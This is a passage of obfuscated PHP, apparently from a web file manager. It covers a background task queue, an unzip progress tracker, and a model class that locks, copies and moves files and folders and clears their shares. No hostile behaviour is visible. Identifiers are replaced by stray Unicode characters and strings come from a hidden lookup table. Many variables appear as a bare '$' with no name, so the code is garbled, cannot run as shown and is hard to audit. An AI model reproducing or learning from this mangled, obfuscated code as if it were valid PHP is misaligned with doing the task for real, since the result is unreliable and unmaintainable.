$ً[97], $)) { return !0; } self::$listDataAdd[] = array($ً[343] => $⧛, $ً[1883] => $, $ً[537] => $, $ً[97] => $); return !0; } public static function addSubmit() { $У =& $_SERVER[秼]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($У[1884] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $У[12], $У[537])), $У[197]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($, $½ى = array(), $ = '', $ش = '') { $ =& $_SERVER[秼]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ش && array_find_by_field($, $[97], $ش)) { return !0; } $[] = array($[343] => $, $[1883] => $½ى, $[537] => $, $[97] => $ش); self::setAll($); write_log($[1884] . $, $[197]); return !0; } public static function run() { $ =& $_SERVER[秼]; $ = self::getAll(); $ɜ = array_shift($); if (!$ɜ) { return !1; } self::setAll($); $΅ = timeFloat(); $ = $[12]; try { $ = Hook::apply($ɜ[$[343]], $ɜ[$[1883]]); } catch (Exception $ƣ) { write_log($ƣ, $[1273]); } $ᓍ = number_format(timeFloat() - $΅, 3) . $[1799]; if ($ && is_string($)) { $ᓍ = $ᓍ . $[1885] . $; } write_log($[1886] . $ɜ[$[537]] . $[1887] . $ᓍ, $[197]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $ēƆ =& $_SERVER[秼]; $ = self::threadCount() + 1; if ($ > 3 || !self::count()) { return; } write_log($ēƆ[1888] . $, $ēƆ[197]); Cache::set(self::QUEUE_THREAD, $, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($ēƆ[1889], $ēƆ[197]); } public static function getKey($, $ = "\151\156\164") { $ȱ =& $_SERVER[秼]; Cache::removeMemory($); $ = Cache::get($); if ($ == $ȱ[365]) { return $ ? intval($) : 0; } if ($ == $ȱ[1890]) { return is_array($) ? $ : array(); } return $; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[秼][1890]); } public static function setAll($) { $ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $); Cache::set(self::QUEUE_DATA, $, $); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($ۤ, $Ӂ = 5.0) { if (!$ۤ) { return; } $ͣ̿ = Cache::get($ۤ); if (!$ͣ̿ || timeFloat() - floatVal($ͣ̿) >= $Ӂ) { Cache::set($ۤ, timeFloat(), $Ӂ * 10); return !0; } return !1; } public static function timeLimitCall($, $Ț, $؆ԏ, $ = 5.0) { $չ =& $_SERVER[秼]; if (!$ || !$Ț) { return; } self::$asyncAdd = !0; $飨 = $չ[1891]; $ɾ = Cache::get($飨, !0); $לִ = array($չ[1892] => timeFloat(), $չ[1893] => timeFloat(), $չ[343] => $Ț, $չ[1883] => $؆ԏ, $չ[206] => $); if (is_array($ɾ[$])) { $לִ[$չ[1893]] = $ɾ[$][$չ[1893]]; } if (is_array($ɾ[$])) { if (timeFloat() - $ɾ[$][$չ[1892]] < $לִ[$չ[206]] * 0.3) { return; } $לִ[$չ[1893]] = $ɾ[$][$չ[1893]]; } $ɾ[$] = $לִ; Cache::set($飨, $ɾ, 60); Cache::removeMemory($飨); write_log($չ[1894] . $ . $չ[74] . $Ț, $չ[197]); } public static function timeLimitCallLoop() { $dž =& $_SERVER[秼]; $¼ٺ = array($dž[1895]); $˪ = in_array(strtolower(ACTION), $¼ٺ); if (!$˪ && !self::$asyncAdd) { return; } $֗ = $dž[1891]; $ = Cache::get($֗, !0); if (!$ || count($) <= 0) { return; } $ = !1; $㐯 = timeFloat(); $ = array(); foreach ($ as $ => $) { if ($㐯 - $[$dž[1893]] > $[$dž[206]]) { $ = !0; try { Hook::apply($[$dž[343]], $[$dž[1883]]); write_log($dž[1896] . $ . $dž[74] . $[$dž[343]] . $dž[1897] . ACTION, $dž[197]); } catch (Exception $) { } continue; } $[$] = $; } if (!$) { return; } if (!$) { return Cache::remove($֗); } Cache::set($֗, $, 60); Cache::removeMemory($֗); } public static function finished($, $) { $ܚ =& $_SERVER[秼]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($ܚ[343] => $, $ܚ[1883] => $); } private static function finishedRun() { $ =& $_SERVER[秼]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $Ç) { try { Hook::apply($Ç[$[343]], $Ç[$[1883]]); } catch (Exception $) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } class TaskUnzip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[秼]; parent::startAfter(); Hook::bind($[1898], array($this, $[1899])); Hook::bind($[1287], array($this, $[1900])); Hook::bind($[1901], array($this, $[1902])); $၅ =& $this->task; $၅[$[1903]] = $[1288]; if (!$၅[$[1671]]) { $၅[$[1671]] = LNG($[1904]); } } protected function endAfter() { $ =& $_SERVER[秼]; parent::endAfter(); Hook::unbind($[1898], array($this, $[1899])); Hook::unbind($[1287], array($this, $[1900])); Hook::unbind($[1901], array($this, $[1902])); } public function updateAfter() { $މ萂 =& $_SERVER[秼]; $Ӈ =& $this->task; if (!$Ӈ[$މ萂[1149]] || !$Ӈ[$މ萂[851]]) { if ($Ӈ[$މ萂[1903]] != $މ萂[390]) { return; } } if ($Ӈ[$މ萂[1903]] == $މ萂[1288]) { $֢Ȁ = 0; if ($Ӈ[$މ萂[1837]]) { $֢Ȁ = $Ӈ[$މ萂[1838]] / $Ӈ[$މ萂[1837]]; } $Ӈ[$މ萂[1785]] = $֢Ȁ * 0.3; } else { if ($Ӈ[$މ萂[1903]] == $މ萂[390]) { $֢Ȁ = $Ӈ[$މ萂[1784]] / $Ӈ[$މ萂[1149]]; $Ӈ[$މ萂[1785]] = 0.3 + $֢Ȁ * 0.4; } else { if ($Ӈ[$މ萂[1903]] == $މ萂[110]) { $Ɍڃ = 0; if ($Ӈ[$މ萂[1839]] == $މ萂[110]) { $Ɍڃ = $Ӈ[$މ萂[1838]]; } $֢Ȁ = ($Ӈ[$މ萂[1842]] + $Ɍڃ) / $Ӈ[$މ萂[851]]; $Ӈ[$މ萂[1785]] = 0.3 + 0.4 + $֢Ȁ * 0.3; } } } if ($Ӈ[$މ萂[1785]] > 0) { $ = timeFloat() - $Ӈ[$މ萂[1787]] - $Ӈ[$މ萂[1790]]; $Ӈ[$މ萂[1791]] = $ * (1 - $Ӈ[$މ萂[1785]]) / $Ӈ[$މ萂[1785]]; } } public function addFile($ڽ) { $Ɏ =& $_SERVER[秼]; $ =& $this->task; $ = IO::info($ڽ); $[$Ɏ[1835]] = $[$Ɏ[32]]; $[$Ɏ[1837]] = $[$Ɏ[79]]; $[$Ɏ[1838]] = 0; $[$Ɏ[1151]] = $Ɏ[1858]; $[$Ɏ[1839]] = $Ɏ[1288]; $[$Ɏ[851]] = $[$Ɏ[79]]; $[$Ɏ[1149]] = 1; $ȼ = 0; $[$Ɏ[1846]] = array($Ɏ[1847] => $ȼ + 1, $Ɏ[505] => $[$Ɏ[32]], $Ɏ[87] => $[$Ɏ[87]], $Ɏ[593] => $[$Ɏ[593]] ? $[$Ɏ[593]] : $[$Ɏ[87]]); $this->update(); } public function zipEvent($Ώ, $, $, $) { $ =& $_SERVER[秼]; $ӡ =& $this->task; $ӡ[$[1835]] = get_path_this($); $ӡ[$[1837]] = $; $ӡ[$[1838]] = $; $ӡ[$[1151]] = $Ώ == $[1905] ? $[1906] : $[1907]; $ӡ[$[1839]] = $[12]; $ӡ[$[851]] = $; $ӡ[$[1903]] = $[390]; $this->update(); } public function unzipAfter($) { $ =& $_SERVER[秼]; $쨄 =& $this->task; $쨄[$[1903]] = $[110]; $ך = IO::infoWithChildren($); $ɻ = 0; $쨄[$[1846]] = array($[1847] => $ɻ + 1, $[505] => $ך[$[32]], $[87] => $ך[$[87]], $[593] => $ך[$[593]] ? $ך[$[593]] : $ך[$[87]]); if ($ך[$[33]] == $[232]) { $쨄[$[1149]] = 1; } else { $쨄[$[1149]] = $ך[$[82]][$[80]]; } $쨄[$[1151]] = $[12]; $쨄[$[1839]] = 0; $쨄[$[1784]] = 0; $쨄[$[1837]] = 0; $쨄[$[1838]] = 0; $쨄[$[1835]] = $[12]; $쨄[$[1842]] = 0; $쨄[$[851]] = $ך[$[79]]; $this->update(); self::log($[1908] . json_encode(array($쨄, $ך))); } public function nameParse($) { $ȧ =& $_SERVER[秼]; $ڜ =& $this->task; if ($ڜ[$ȧ[1903]] == $ȧ[1288]) { $ڜ[$ȧ[1903]] = $ȧ[390]; $ڜ[$ȧ[1842]] = 0; $ڜ[$ȧ[851]] = 0; } $ՙ = get_path_this($); if (strstr($ՙ, $ȧ[10])) { $ڜ[$ȧ[1784]] += 1; $ڜ[$ȧ[1149]] += 1; } $ڜ[$ȧ[1835]] = $; $this->update(); } } goto aކ; Bौ: class SourceListMoveModel extends SourceListModel { public $allowLockSource = 1; public $moveClearAuth = true; public function allowLock() { return $this->allowLockSource; } public function lockCopyStart($߮Ɓ) { $ =& $_SERVER[秼]; if (!$this->allowLock()) { return; } $this->_lockCheck($[632], $߮Ɓ); $̓ = 1; $this->_lockEvent($߮Ɓ, array($[633], $[634]), $̓); $this->_lockParent($߮Ɓ, array($[634]), $̓); $this->_lockEvent($߮Ɓ, array($[635], $[636]), $̓); $this->_lockCheckEnd($[632], $߮Ɓ); } public function lockCopyEnd($ΡĖ) { $ץ =& $_SERVER[秼]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockEvent($ΡĖ, array($ץ[633], $ץ[634]), $); $this->_lockParent($ΡĖ, array($ץ[634]), $); $this->_lockEvent($ΡĖ, array($ץ[635], $ץ[636]), $); } public function lockWriteStart($խ, $Ǐ = '') { $ =& $_SERVER[秼]; if (!$this->allowLock()) { return; } $this->_lockCheck($[633], $խ); $։ = 1; $this->_lockKey($[637] . $խ . $[10] . $Ǐ, $։); $this->_lockEvent($խ, array($[632], $[634]), $։); $this->_lockParent($խ, array($[632], $[634]), $։); $this->_lockCheckEnd($[633], $խ); } public function lockWriteEnd($٘䙒, $ͅ = '') { $ˮ =& $_SERVER[秼]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($ˮ[637] . $٘䙒 . $ˮ[10] . $ͅ, $); $this->_lockEvent($٘䙒, array($ˮ[632], $ˮ[634]), $); $this->_lockParent($٘䙒, array($ˮ[632], $ˮ[634]), $); } public function lockMoveStart($) { $ =& $_SERVER[秼]; if (!$this->allowLock()) { return; } $this->_lockCheck($[634], $); $賊 = 1; $this->_lockKey($[638] . $, $賊); $this->_lockEvent($, array($[632], $[633]), $賊); $this->_lockParent($, array($[632], $[634]), $賊); $this->_lockEvent($, array($[639], $[635], $[636]), $賊); $this->_lockCheckEnd($[634], $); } public function lockMoveEnd($ؤ) { $ =& $_SERVER[秼]; if (!$this->allowLock()) { return; } $ = 0; $this->_lockKey($[638] . $ؤ, $); $this->_lockEvent($ؤ, array($[632], $[633]), $); $this->_lockParent($ؤ, array($[632], $[634]), $); $this->_lockEvent($ؤ, array($[639], $[635], $[636]), $); } private function _lockCheck($ȅ˯, $Ё) { $ =& $_SERVER[秼]; $ = $this->sourceInfo($Ё); $ = $ȅ˯ . $[10] . $Ё; $this->_lockTimeStart[$] = timeFloat(); if (!is_array($)) { return; } $ = LNG($[640]); CacheLock::setErrorMsg($[176] . htmlspecialchars($[$[32]]) . $[178] . $); $this->_lockKey($, 1); $this->_lockKey($, 0); $Ĝ = array_reverse($this->parentLevelArray($[$[595]])); foreach ($Ĝ as $) { $ = $ȅ˯ . $[641] . $; if (CacheLock::lockGet($[642] . $)) { $ = $this->sourceInfo($); CacheLock::setErrorMsg($[176] . htmlspecialchars($[$[32]]) . $[178] . $); $this->_lockKey($, 1); $this->_lockKey($, 0); } } } private function _lockCheckEnd($ľ̔, $Ե) { $̮ =& $_SERVER[秼]; $ = $ľ̔ . $̮[10] . $Ե; CacheLock::setErrorMsg($̮[465]); if (!isset($this->_lockTimeStart[$])) { return; } $Ɖ𗣋 = timeFloat() - $this->_lockTimeStart[$]; unset($this->_lockTimeStart[$]); if ($Ɖ𗣋 > 0.5) { unset(self::$cacheSourceInfo[$̮[544] . $Ե]); } $ = $this->sourceInfo($Ե); if (!$) { show_json(LNG($̮[108]), !1); } } private function _lockParent($, $ŝ, $큏) { if (!$this->autoLockSet) { return; } $ņ = $this->sourceInfo($); if (!is_array($ņ)) { return; } $㋤ = array_reverse($this->parentLevelArray($ņ[$_SERVER[秼][595]])); foreach ($㋤ as $) { $this->_lockEvent($, $ŝ, $큏); } } private function _lockEvent($, $, $ϱ) { $ȗ =& $_SERVER[秼]; if (!$this->autoLockSet) { return; } foreach ($ as $à) { $ = $à . $ȗ[10] . $; if ($ϱ && CacheLock::lockGet($ȗ[642] . $)) { continue; } $this->_lockKey($, $ϱ); } } public $_lockTimeStart = array(); public $_lockTime = 5; private static $_lockItemArr = array(); private function _lockKey($盅, $ = 1) { $٩ = $_SERVER[秼][642] . md5($盅); if ($) { if (isset(self::$_lockItemArr[$٩])) { return; } self::$_lockItemArr[$٩] = 1; CacheLock::lock($٩, $this->_lockTime); } else { if (!isset(self::$_lockItemArr[$٩])) { return; } unset(self::$_lockItemArr[$٩]); CacheLock::unlock($٩); } } public function isParentOf($Ȱ, $Ԗ) { $ǁ =& $_SERVER[秼]; $ـ = $this->sourceInfo($Ȱ); $ި = $this->sourceInfo($Ԗ); $֥ = $ـ[$ǁ[595]] . $ـ[$ǁ[193]] . $ǁ[50]; $Թв = $ި[$ǁ[595]] . $ި[$ǁ[193]] . $ǁ[50]; $ = strpos($Թв, $֥) === 0; return $; } private $targetIsDelete = 0; public function copy($՝, $, $Л = REPEAT_REPLACE, $̂ = '') { $ =& $_SERVER[秼]; $ʷ = $this->sourceInfo($՝); $Ӵ = $this->sourceInfo($); if (!$ʷ || !$Ӵ || $Ӵ[$[496]] != $[91]) { return !1; } if ($this->isParentOf($՝, $)) { return !1; } $ = $̂ ? $̂ : $ʷ[$[32]]; $this->lockCopyStart($՝); $this->lockWriteStart($, $); $蕘 = array($[643] => array(), $[644] => array(), $[645] => array()); $this->targetIsDelete = intval($ʷ[$[516]]); $ωȡ = $this->fileNameExistAuto($, $ʷ); $ៗ = $this->_copy($՝, $, $Л, $蕘, !0, $̂); $this->_childrenListClear(); $this->lockCopyEnd($՝); $this->lockWriteEnd($, $); if ($ʷ[$[496]] == $[91] && $ωȡ == $ៗ) { $this->folderSizeResetChildren($ωȡ); } Model($[646])->addAll($蕘[$[644]], array(), !0); if ($ωȡ != $ៗ || $ʷ[$[496]] == $[91]) { Model($[647])->eventCopy($ៗ); } $this->saveAll($蕘[$[645]]); Model($[232])->linkAdd($蕘[$[643]]); $this->folderSizeReset($); $this->updateModifyTime($); return $ៗ; } private function _copy($ۜ, $ᷧɷ, $, &$, $簷, $ʁ = '') { $ =& $_SERVER[秼]; $㛇 = $this->sourceInfoCache($ۜ); $ƺ = $㛇[$[496]] == $[91]; $ = $ʁ ? $ʁ : $㛇[$[32]]; $ = $this->fileNameExistAuto($ᷧɷ, $㛇); if ($簷) { $this->_childrenAllMake($ۜ); if ($ƺ && $) { $this->_childrenAllMake($); } } if (!$) { return $this->_copyCreate($ۜ, $ᷧɷ, $, $); } $Ưґ = $; if ($ƺ) { if ($ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($ᷧɷ, $, $, $ƺ); $Ưґ = $this->_copyCreate($ۜ, $ᷧɷ, $, $); } else { $ʢ٠ = $this->_childrenList($ۜ); foreach ($ʢ٠ as $Ѡ) { $this->_copy($Ѡ[$[193]], $, $, $, !1); } } } else { if ($ == REPEAT_RENAME || $ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAutoCache($ᷧɷ, $, $, $ƺ); $Ưґ = $this->_copyCreate($ۜ, $ᷧɷ, $, $); } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfoCache($); $ʀ = $this->fileHistory($, $㛇[$[552]], $㛇[$[79]]); if ($ʀ) { $[$[643]][] = $㛇[$[552]]; } } else { if ($ == REPEAT_SKIP) { } } } Hook::trigger($[648], array($[649], $㛇, 0)); } return $Ưґ; } private function _copyCreate($Đ, $⃰, $Ƥ, &$) { $߃ =& $_SERVER[秼]; $̉ = $this->sourceInfoCache($Đ); $ֳہ = $this->sourceInfoCache($⃰); $ҁŖ = $this->_makeItemData($̉, $ֳہ, $Ƥ); Hook::trigger($߃[650], $ҁŖ); Hook::trigger($߃[651], array($߃[652], $ҁŖ, 0)); $ = $this->add($ҁŖ); $ = array($߃[193] => $, $߃[32] => $Ƥ); $this->_copyApplyMeta($, $); if ($̉[$߃[496]] != $߃[91]) { $[$߃[643]][] = $̉[$߃[552]]; return $; } $ȡ = array(); $Ŧґ = array(); $this->_childrenListAll($Đ, $ȡ); $ռ = count($ȡ); if ($ռ == 0) { return $; } $˹ = $this->sourceInfo($); foreach ($ȡ as $) { $˪ = $this->_makeItemData($, $˹, $[$߃[32]]); $˪[$߃[595]] = $[$߃[595]]; $Ŧґ[] = $˪; } $this->chunkEventSet($߃[653], array($߃[654], $ҁŖ, $ռ)); $this->addAll($Ŧґ, array(), !1); $ = $this->where(array($߃[192] => $))->select(); $ð = $this->_childrenMakeRelation($ȡ, $); $ð[$Đ] = $; $ޜ = array(); $Ě = array(); foreach ($ as $) { $Ӷ = $[$߃[193]]; $ͻ = $this->_childrenMatch($ð, $, $˹); $ޜ[] = array($߃[193], $Ӷ, $߃[192], $ͻ[$߃[192]]); $Ě[] = array($߃[193], $Ӷ, $߃[595], $ͻ[$߃[595]]); $this->_copyApplyMeta($, $); if ($[$߃[496]] != $߃[91]) { $[$߃[643]][] = $[$߃[552]]; } } $this->chunkEventSet($߃[655], array($߃[656], $ҁŖ, $ռ)); $this->saveAll($ޜ); $this->chunkEventSet($߃[657], array($߃[658], $ҁŖ, $ռ)); $this->saveAll($Ě); return $; } private function _childrenMakeRelation($諍, $ї) { $ =& $_SERVER[秼]; $Ș = array(); $ܣ = array(); foreach ($諍 as $) { $ = $[$[32]] . $[8] . $[$[595]]; $Ș[$] = $[$[193]]; } foreach ($ї as $) { $ = $[$[32]] . $[8] . $[$[595]]; $ = $Ș[$]; $ܣ[$] = $[$[193]]; } return $ܣ; } private function _childrenMatch($ԟ, $, $䴼) { $ʰؽ =& $_SERVER[秼]; $ڴ = $䴼[$ʰؽ[595]]; $땧 = $this->parentLevelArray($[$ʰؽ[595]]); foreach ($땧 as $) { if (isset($ԟ[$])) { $ڴ .= $ԟ[$] . $ʰؽ[659]; } } $ڴ = rtrim($ڴ, $ʰؽ[50]) . $ʰؽ[50]; $ = $this->parentLevelArray($ڴ); $ = $[count($) - 1]; return array($ʰؽ[192] => $, $ʰؽ[595] => $ڴ); } private function _makeItemData($܌, $·ɬ, $Χ⭌) { $ =& $_SERVER[秼]; $ = array($[660] => $܌[$[496]], $[505] => $Χ⭌, $[661] => $܌[$[497]] ? $܌[$[497]] : $[12], $[553] => $܌[$[552]] ? $܌[$[552]] : 0, $[631] => $܌[$[79]] ? $܌[$[79]] : 0, $[662] => intval($·ɬ[$[190]]), $[663] => intval($·ɬ[$[580]]), $[664] => intval(USER_ID), $[665] => intval(USER_ID), $[488] => intval($·ɬ[$[193]]), $[666] => $·ɬ[$[595]] . $·ɬ[$[193]] . $[50], $[509] => $܌[$[88]] ? $܌[$[88]] : time(), $[515] => 0, $[667] => $[12]); return $; } private function _copyApplyMeta($ԃ, &$) { $쵏 =& $_SERVER[秼]; $Ŗ = $ԃ[$쵏[193]]; $ªښ = $ԃ[$쵏[32]]; if (!isset($ԃ[$쵏[668]]) || !$ԃ[$쵏[668]] || $ԃ[$쵏[668]] == $쵏[230]) { $[$쵏[645]][] = array($쵏[193], $Ŗ, $쵏[668], short_id($Ŗ)); } if (Input::check($ªښ, $쵏[669])) { $[$쵏[644]][] = array($쵏[193] => $Ŗ, $쵏[97] => $쵏[549], $쵏[461] => str_replace($쵏[53], $쵏[12], Pinyin::get($ªښ))); $[$쵏[644]][] = array($쵏[193] => $Ŗ, $쵏[97] => $쵏[548], $쵏[461] => Pinyin::get($ªښ, $쵏[670])); } $[$쵏[644]][] = array($쵏[193] => $Ŗ, $쵏[97] => $쵏[528], $쵏[461] => KodSort::makeStr($ªښ)); } private $_childrenListCache = array(); private $_childrenItemCache = array(); private function _childrenAllMake($) { $ =& $_SERVER[秼]; $Çӫ = $this->sourceInfo($); $ɒ = $[671]; $İ = array($[595] => array($[626], $Çӫ[$[595]] . $ . $[627]), $[516] => $this->targetIsDelete); $ۀ = $this->field($ɒ)->where($İ)->select(); if (!$ۀ) { return; } $ۀ = array_to_keyvalue($ۀ, $[193]); foreach ($ۀ as $ߞ˂) { $ = $ߞ˂[$[192]]; $ = $ߞ˂[$[193]]; if (!isset($this->_childrenListCache[$]) && $ߞ˂[$[496]] == $[91]) { $this->_childrenListCache[$] = array(); } if (!isset($this->_childrenListCache[$])) { $this->_childrenListCache[$] = array(); } $this->_childrenListCache[$][$] = $ߞ˂; $this->_childrenItemCache[$] = $ߞ˂; } } private function _childrenListAll($, &$ωŏ) { $ň =& $_SERVER[秼]; if (!isset($this->_childrenListCache[$])) { return; } $ = $this->_childrenListCache[$]; foreach ($ as $Փ => $뼩ǖ) { $ωŏ[$Փ] = $뼩ǖ; if ($뼩ǖ[$ň[496]] == $ň[91]) { $this->_childrenListAll($Փ, $ωŏ); } } } private function sourceInfoCache($ӯ) { if (isset($this->_childrenItemCache[$ӯ])) { return $this->_childrenItemCache[$ӯ]; } return $this->sourceInfo($ӯ); } private function _childrenList($) { if (isset($this->_childrenListCache[$])) { return $this->_childrenListCache[$]; } return $this->_childrenListSelect($); } private function _childrenListSelect($) { $ =& $_SERVER[秼]; $ = array($[192] => $, $[516] => $this->targetIsDelete); $ = $this->where($)->select(); $ = $ ? $ : array(); $ = array_to_keyvalue($, $[193]); $this->_childrenListCache[$] = $; foreach ($ as $ => $Κ) { $this->_childrenItemCache[$] = $Κ; } return $; } private function fileNameExistAuto($, $) { $Љۏ =& $_SERVER[秼]; if ($[$Љۏ[516]] == $Љۏ[91]) { return $this->fileNameExist($, $[$Љۏ[32]]); } return $this->fileNameExistCache($, $[$Љۏ[32]]); } private function fileNameExistCache($駵, $ă) { $ֹ =& $_SERVER[秼]; $ă = strtolower($ă); $ = $this->_childrenList($駵); foreach ($ as $) { if ($ă == strtolower($[$ֹ[32]])) { return $[$ֹ[193]]; } } return !1; } private function fileNameAutoCache($Ͽ, $ij, $㡏, $) { $̖ =& $_SERVER[秼]; $ӗ = $this->_childrenList($Ͽ); $վ = array_to_keyvalue($ӗ, $̖[12], $̖[32]); return $this->fileNameAutoGet($վ, $ij, $㡏, $); } private function _childrenListClear() { $this->_childrenListCache = null; $this->_childrenItemCache = null; $this->_childrenListCache = array(); $this->_childrenItemCache = array(); } public function move($㰼, $, $ = REPEAT_REPLACE, $ = '') { $ =& $_SERVER[秼]; $Ά = $this->sourceInfo($㰼); $ = $this->sourceInfo($); if ($Ά[$[192]] == $[$[193]]) { if ($Ά[$[516]] == $[91]) { Model($[514])->restore(array($㰼)); } if (!$ || $ == $Ά[$[32]]) { return $㰼; } } $ȍ = $this->pathInfoMore($㰼); if ($this->isParentOf($㰼, $)) { return !1; } if (!$Ά || !$ || $[$[496]] != $[91]) { return !1; } Hook::trigger($[672], $ȍ); $this->targetIsDelete = intval($Ά[$[516]]); if ($Ά[$[192]] == $ && $ != $Ά[$[32]]) { $ח = $this->fileNameExist($, $); if ($ח && $Ά[$[496]] == $[230]) { $ = $this->sourceInfo($ח); $ʟԭ = $this->fileHistory($, $Ά[$[552]], $Ά[$[79]]); if (!$ʟԭ) { Model($[555])->remove($Ά[$[552]]); } $this->removeNow($㰼, !1); $this->folderSizeReset($); Hook::trigger($[673], $ȍ); return $ח; } } $Ǯ = $ ? $ : $Ά[$[32]]; $this->lockMoveStart($㰼); $this->lockWriteStart($, $Ǯ); $؉ = array($[643] => array(), $[674] => !1); $this->clearShare($㰼, $); $ۑ = $this->fileNameExistAuto($, $Ά); $ůَ = $this->_move($㰼, $, $, $؉, $); $this->sourceCacheClear(); if ($Ά[$[496]] == $[91] && $ۑ) { $this->folderSizeResetChildren($ůَ); } Model($[232])->linkAdd($؉[$[643]]); if ($ůَ && $ۑ && $؉[$[674]]) { $է = $Ά[$[496]] == $[91] ? $this->_childrenListSelect($㰼) : !1; $ፃ = $է && count($է) > 0 ? !0 : !1; $this->removeNow($㰼, $ፃ); } $this->lockMoveEnd($㰼); $this->lockWriteEnd($, $Ǯ); $this->folderSizeReset($Ά[$[192]]); $this->folderSizeReset($); $ް = array($Ά[$[192]], $); if ($Ά[$[496]] == $[91]) { $ް[] = $㰼; } $this->updateModifyTime($ް); Model($[647])->eventMove($㰼, $Ά[$[192]], $); Hook::trigger($[673], $ȍ); return $ůَ; } private function _move($ܵ, $ѫڀ, $ܽ, &$, $肂 = '') { $ =& $_SERVER[秼]; $抇 = $this->sourceInfo($ܵ); $ = $抇[$[496]] == $[91]; $ = $肂 ? $肂 : $抇[$[32]]; $Ă = $this->fileNameExistAuto($ѫڀ, $抇); $this->lockMoveStart($ܵ); $this->lockWriteStart($ѫڀ, $); if (!$Ă) { return $this->_moveForce($ܵ, $ѫڀ, $); } $ = $Ă; $έ͑ = !1; if ($) { if ($ܽ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($ѫڀ, $, $ܽ, $); $ = $this->_moveForce($ܵ, $ѫڀ, $); } else { $ = $this->_childrenListSelect($ܵ); foreach ($ as $祶) { $ږ = REPEAT_REPLACE; $this->_move($祶[$[193]], $Ă, $ږ, $); } $έ͑ = !0; } } else { if ($ܽ == REPEAT_RENAME || $ܽ == REPEAT_RENAME_FOLDER) { $ = $this->fileNameAuto($ѫڀ, $, $ܽ, $); $ = $this->_moveForce($ܵ, $ѫڀ, $); } else { $ = $this->sourceInfoCache($Ă); $ = $this->fileHistory($, $抇[$[552]], $抇[$[79]]); if ($) { $[$[643]][] = $抇[$[552]]; } $έ͑ = !0; } } if ($έ͑) { $[$[674]] = !0; } return $; } private function _moveForce($, $, $隩) { $Ċ =& $_SERVER[秼]; $喲 = $this->sourceInfo($); $ = $this->sourceInfo($); $پИ = $喲[$Ċ[496]] == $Ċ[91]; $ = array($Ċ[488] => $[$Ċ[193]], $Ċ[666] => $[$Ċ[595]] . $[$Ċ[193]] . $Ċ[50], $Ċ[662] => $[$Ċ[190]], $Ċ[663] => $[$Ċ[580]], $Ċ[665] => USER_ID, $Ċ[505] => $隩); $ٝ = $喲[$Ċ[190]] == SourceModel::TYPE_GROUP && $[$Ċ[190]] == SourceModel::TYPE_GROUP && $喲[$Ċ[580]] == $[$Ċ[580]]; if (!$ٝ && $this->moveClearAuth) { Model($Ċ[578])->authClear($); } $ = $喲[$Ċ[516]] == $Ċ[91] && $[$Ċ[516]] != $Ċ[91]; if ($) { $[$Ċ[515]] = 0; } if ($پИ) { $ = array($Ċ[666] => array($Ċ[626], $喲[$Ċ[595]] . $喲[$Ċ[193]] . $Ċ[627])); $ = $喲[$Ċ[595]] . $喲[$Ċ[193]] . $Ċ[50]; $ = $[$Ċ[595]] . $[$Ċ[193]] . $Ċ[50] . $喲[$Ċ[193]] . $Ċ[50]; $ = array($Ċ[666] => array($Ċ[675], "\x72\x65\x70\x6c\x61\143\x65\x28\x70\141\x72\145\x6e\x74\x4c\x65\x76\x65\x6c\x2c\47{$}\47\x2c\47{$}\x27\x29"), $Ċ[662] => $[$Ċ[190]], $Ċ[663] => $[$Ċ[580]]); if ($) { $[$Ċ[515]] = 0; } $this->where($)->data($)->save(); } $this->where(array($Ċ[502] => $))->data($)->save(); return $; } private function clearShare($, $) { $Ф =& $_SERVER[秼]; $ߺ = $this->sourceInfo($); $ = $this->sourceInfo($); if ($ߺ[$Ф[580]] == $[$Ф[580]] && $ߺ[$Ф[190]] == $Ф[676]) { return; } $ = array($Ф[595] => array($Ф[626], $ߺ[$Ф[595]] . $ . $Ф[627])); $˪ = $this->field($Ф[502])->where($)->getField($Ф[193], !0); if (!$˪) { return; } $ = array($Ф[193] => array($Ф[7], $˪), $Ф[677] => 1); $כ = Model($Ф[678])->field($Ф[679])->where($)->select(); if (!$כ) { return; } $כ = array_to_keyvalue($כ, $Ф[12], $Ф[679]); $ = array($Ф[679] => array($Ф[7], $כ)); Model($Ф[678])->where($)->save(array($Ф[677] => 0)); Model($Ф[680])->where($)->delete(); } public function copyFolderFromIO($, $, $, $ϕ, $ݧ, $묿 = false) { $◄ =& $_SERVER[秼]; $ = array($◄[644] => array(), $◄[645] => array(), $◄[643] => array(), $◄[681] => array()); $ = $묿 ? $묿 : $->pathThis($); $ѝˎ = $this->fileNameExist($, $); $ = $this->mkdir($, $, $ϕ); if (!$ѝˎ || $ϕ == REPEAT_RENAME_FOLDER) { $ϕ = !1; } if ($ѝˎ) { $this->_childrenAllMake($ѝˎ); } Hook::trigger($◄[682]); $this->_copyChildTo($, $, $, $ϕ, $, $ݧ); Hook::trigger($◄[683]); if ($) { $this->folderSizeResetChildren($); } $this->_childrenListClear(); Model($◄[646])->addAll($[$◄[644]], array(), !0); Model($◄[647])->eventCopy($); $this->saveAll($[$◄[645]]); 